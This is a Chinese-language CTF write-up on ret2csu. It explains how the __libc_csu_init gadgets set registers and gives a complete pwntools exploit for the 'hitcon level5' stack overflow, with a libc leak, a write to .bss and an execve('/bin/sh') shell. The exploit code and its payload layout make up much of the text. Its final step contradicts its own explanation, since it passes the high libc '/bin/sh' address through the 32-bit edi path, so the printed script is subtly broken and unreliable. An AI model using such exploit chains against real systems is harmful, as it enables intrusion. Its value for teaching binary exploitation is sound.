ret2csu

参考资料

CTF Wiki - ret2csu

0x01 原理

我们得知,Linux上的x86_64架构的程序遵循System V AMD64 ABI函数调用约定,即函数的前6个参数使用寄存器传参,所以,在我们构建ROP链时,需要找到可以控制寄存器的gadgets,但是在大多数情况下,我们很难找到每一个寄存器对应的gadgets。

如果你有自己尝试过构建一个需要使用ret2libc的程序,你会发现,自己构建的程序可能找不见pop rdi; ret等常用gadgets,这种情况是正常的。出题人一般会专门写一个不会使用的函数,用来放这种gadgets。不然我就不会做了

所以说,正是因为能直接控制所有寄存器的gadgets稀缺,我们才需要找到在程序中天然存在的,能一次性设置多个寄存器的gadgets片段,比如本文接下来要提到的__libc_csu_init函数。

__libc_csu_init

__libc_csu_init(CSU == C Startup),其本质为 glibc 启动代码中,在main()之前执行的一段“程序级初始化器”,其负责调用init_array中的相关函数,然后回到__libc_start_main 去调用应用的 main。如果你对相关的流程不熟悉,可以将其理解为一个初始化函数。

对于漏洞利用而言,这个函数的关键价值在于:在使用glibc(glibc<2.34[^1])的x86_64 Linux 程序中,它几乎必然存在——无论是动态链接还是静态链接。如下是该函数的汇编指令序列(不同版本的glibc可能略有不同):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
.text:00000000004005C0 ; void _libc_csu_init(void)
.text:00000000004005C0 public __libc_csu_init
.text:00000000004005C0 __libc_csu_init proc near ; DATA XREF: _start+16o
.text:00000000004005C0 push r15
.text:00000000004005C2 push r14
.text:00000000004005C4 mov r15d, edi
.text:00000000004005C7 push r13
.text:00000000004005C9 push r12
.text:00000000004005CB lea r12, __frame_dummy_init_array_entry
.text:00000000004005D2 push rbp
.text:00000000004005D3 lea rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004005DA push rbx
.text:00000000004005DB mov r14, rsi
.text:00000000004005DE mov r13, rdx
.text:00000000004005E1 sub rbp, r12
.text:00000000004005E4 sub rsp, 8
.text:00000000004005E8 sar rbp, 3
.text:00000000004005EC call _init_proc
.text:00000000004005F1 test rbp, rbp
.text:00000000004005F4 jz short loc_400616
.text:00000000004005F6 xor ebx, ebx
.text:00000000004005F8 nop dword ptr [rax+rax+00000000h]
.text:0000000000400600
.text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54j
.text:0000000000400600 mov rdx, r13
.text:0000000000400603 mov rsi, r14
.text:0000000000400606 mov edi, r15d
.text:0000000000400609 call qword ptr [r12+rbx*8]
.text:000000000040060D add rbx, 1
.text:0000000000400611 cmp rbx, rbp
.text:0000000000400614 jnz short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34j
.text:0000000000400616 add rsp, 8
.text:000000000040061A pop rbx
.text:000000000040061B pop rbp
.text:000000000040061C pop r12
.text:000000000040061E pop r13
.text:0000000000400620 pop r14
.text:0000000000400622 pop r15
.text:0000000000400624 retn
.text:0000000000400624 __libc_csu_init endp

该段函数宏,我们主要能利用如下几个片段:

1
2
3
4
5
6
7
8
.text:0000000000400616                 add     rsp, 8
.text:000000000040061A pop rbx
.text:000000000040061B pop rbp
.text:000000000040061C pop r12
.text:000000000040061E pop r13
.text:0000000000400620 pop r14
.text:0000000000400622 pop r15
.text:0000000000400624 retn

这里有一段连续的pop,这意味着我们可以先通过栈溢出和我们布置到栈中的内容控制rbx rbp r12 r13 r14 r15这几格寄存器的值。

1
2
3
4
5
.text:0000000000400600 loc_400600:                             ; CODE XREF: __libc_csu_init+54j
.text:0000000000400600 mov rdx, r13
.text:0000000000400603 mov rsi, r14
.text:0000000000400606 mov edi, r15d
.text:0000000000400609 call qword ptr [r12+rbx*8]

将 r13 赋给 rdx, 将 r14 赋给 rsi,将 r15d 赋给 edi(需要注意的是,虽然这里赋给的是 edi,但其实此时 rdi 的高 32 位寄存器值为 0,相当于控制rdi,只不过只有低32位。而这三个寄存器,正是System V AMD64 ABI函数调用约定中用来存放前三个参数的寄存器。

同时,可以注意到,通过控制 r12rbx,我们可以利用 call qword ptr [r12+rbx*8] 间接调用任意函数。通常设置 rbx=0r12 则设置为目标函数指针所在的地址(例如某个GOT表项地址)。执行时,CPU会读取 [r12] 处的8字节值作为目标地址进行跳转。

1
2
3
.text:000000000040060D                 add     rbx, 1
.text:0000000000400611 cmp rbx, rbp
.text:0000000000400614 jnz short loc_400600

我们可以控制 rbx 和 rbp 的值,如果 rbx+1 == rbp,程序则会执行该段汇编下方的汇编。一般来说,我们会让rbx=0,rbp=1。

0x02 示例

此处以 hitcon level5]

检查保护

1
2
3
4
5
6
Arch:       amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

该程序逻辑非常简单,存在一个明显的栈溢出漏洞:vulnerable_functionread 可读取 0x200 字节,但缓冲区 buf 仅有 128 字节。

1
2
3
4
5
6
int __fastcall main(int argc, const char **argv, const char **envp)
{
write(1, "Hello, World\n", 0xDuLL);
vulnerable_function(1LL);
return 0;
}
1
2
3
4
5
6
ssize_t vulnerable_function()
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF

return read(0, buf, 0x200uLL);
}

本程序是所依赖的库是glibc 2.23。但是在本地更换libc依赖后,该程序无法运行。当glibc 版本 > 2.27时其可以正常运行。

由于环境的问题,我无法在本机环境上无法通过调用 system(“/bin/sh”) 来 getshell,所以这里用了和CTF Wiki上一样的方法

基本思路如下:

  1. 利用ret2csu泄露libc地址,获取 execv 和 /bin/sh 的地址
  2. 再次利用ret2csu将 execv_addr ,”/bin/sh\x00”写入bss段内
  3. 再次利用ret2csu执行 execve(“/bin/sh”, 0, 0)

泄露libc地址

辅助函数

1
2
3
4
5
6
7
8
9
def csu(rbx: int, rbp: int, r12: int, r13: int, r14: int, r15: int, r_addr: int, padding: int):
payload = b'a' * (padding)
payload += p64(0x000000000040061A)
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(0x0000000000400600)
payload += b'a' * 0x38
payload += p64(r_addr)

sd(payload)

用于快速组装payload和发送,布置好的栈帧示意图:

1
2
3
4
5
6
7
8
9
10
11
12
13
| ...                          | 低地址
| ‘a’ * padding | <- 填充至返回地址
| 0x40061A (pop链起始地址) | <- 覆盖的返回地址
| rbx值 |
| rbp值 |
| r12值 (函数指针地址) |
| r13值 (->rdx) |
| r14值 (->rsi) |
| r15值 (->edi) |
| 0x400600 (mov链起始地址) | <- pop链ret后跳转至此
| ‘a’ * 0x38 (填充) | <- 用于add rsp, 8和6个pop的栈空间。
| r_addr (下一个返回地址) | <- mov链ret后跳转至此
| ... | 高地址

脚本主逻辑:

1
2
3
ru(b"Hello, World\n")
# debug()
csu(0, 1, write_got, 8, write_got, 1, main_addr, 0x88)

这里我们实际上是构造了write(1, write, 8)这样一个函数,其会将got表中 write 的真实地址输出出来。

1
2
3
4
5
6
7
8
9
write_addr = u64(rc(8))
lg("write_addr: " + hex(write_addr))

libc_base = write_addr - libc.sym['write']
exe_addr = libc_base + libc.sym['execve']
sh_addr = libc_base + next(libc.search(b'/bin/sh'))
lg("libc_base: " + hex(libc_base))
lg("exe_addr: " + hex(exe_addr))
lg("sh_addr: " + hex(sh_addr))

脚本接收并解析

向.bss段写入

.bss 段是 ELF 中用于存放未初始化的全局/静态变量的内存区域,程序加载时会为其分配空间并自动清零。在利用中它常被选作数据落点:在非 PIE 场景下其地址通常固定且易于计算,便于稳定地引用;同时 .bss 往往空间充足、写入不易干扰程序已有的初始化数据(相比覆盖 .data/栈更不容易破坏逻辑);此外其初始全 0 的特性非常适合构造以 NULL 结尾的字符串/数组或作为默认空指针字段,从而减少额外写入与构造成本。

1
2
3
4
bss_base = e.bss()
ru(b"Hello, World\n")
csu(0, 1, read_got, 16, bss_base, 0, main_addr, 0x88)
sd(p64(exe_addr) + b'/bin/sh\x00')

这里构造的是read(0, bss_base, 16),向 .bss 段内读入16字节数据,然后脚本发送 execve_addr 和 “/bin/sh\x00” 给程序写入 bss段内。

在这里,有人会有疑问,为何需要多此一举,而不直接使用libc中的/bin/sh地址? 这是因为我们只能通过r15d设置edi,从而控制rdi的低32位(高32位被清零)。libc的映射地址通常很高(远超2^32),而.bss段的地址较低,能容纳在32位范围内。从下方地址输出对比中即可看出:

1
2
[+] bss_base: 0x601040       # 32位可表示
[+] write_addr: 0x7ff7b59100f0 # 远超32位

并不是画蛇添足。

执行 execve(“/bin/sh”, 0, 0)

1
csu(0, 1, bss_base, 0, 0, sh_addr, main_addr, 0x88)

这里构造的是execve("/bin/sh",0, 0)

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!/bin/python
# _*_ coding: utf-8 _*_

from pwn import *

context(arch = 'amd64', os = 'linux')
context.terminal = ['konsole', '-e']
context.log_level = 'debug'
context.binary = './level5'
e = ELF('./level5')
libc = e.libc
# libc = ELF('')
if args['RE']:
io = remote()
else:
io = process('./level5')

def debug():
gdb.attach(io)
pause()

# ===== lambda =====
sa = lambda s, d: io.sendafter(s, d) # send after
sla = lambda s, d: io.sendlineafter(s, d) # sendline after
sl = lambda d: io.sendline(d) # sendline
sd = lambda d: io.send(d) # send
ru = lambda s: io.recvuntil(s) # recvuntil
rc = lambda n: io.recv(n) # recv n bytes
rl = lambda : io.recvline() # recvline
ti = lambda : io.interactive() # interactive
lg = lambda x: log.success(x) # log

def csu(rbx: int, rbp: int, r12: int, r13: int, r14: int, r15: int, r_addr: int, padding: int):
payload = b'a' * (padding)
payload += p64(0x000000000040061A)
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(0x0000000000400600)
payload += b'a' * 0x38
payload += p64(r_addr)

sd(payload)

# ===== main =====
def main():
write_got = e.got['write']
read_got = e.got['read']
bss_base = e.bss()
lg("bss_base: " + hex(bss_base))
main_addr = e.sym['main']

ru(b"Hello, World\n")
# debug()
csu(0, 1, write_got, 8, write_got, 1, main_addr, 0x88)

write_addr = u64(rc(8))
lg("write_addr: " + hex(write_addr))

libc_base = write_addr - libc.sym['write']
exe_addr = libc_base + libc.sym['execve']
sh_addr = libc_base + next(libc.search(b'/bin/sh'))
lg("libc_base: " + hex(libc_base))
lg("exe_addr: " + hex(exe_addr))
lg("sh_addr: " + hex(sh_addr))

ru(b"Hello, World\n")
csu(0, 1, read_got, 16, bss_base, 0, main_addr, 0x88)
sd(p64(exe_addr) + b'/bin/sh\x00')

csu(0, 1, bss_base, 0, 0, sh_addr, main_addr, 0x88)

# ===== exec =====
if __name__ == '__main__':
main()
ti()

[^1]:在glibc 2.34之后,该符号已被移除或被更改,其职责被启动链路中的其它部分替代。


版权与引用声明

本文部分内容基于以下外部材料: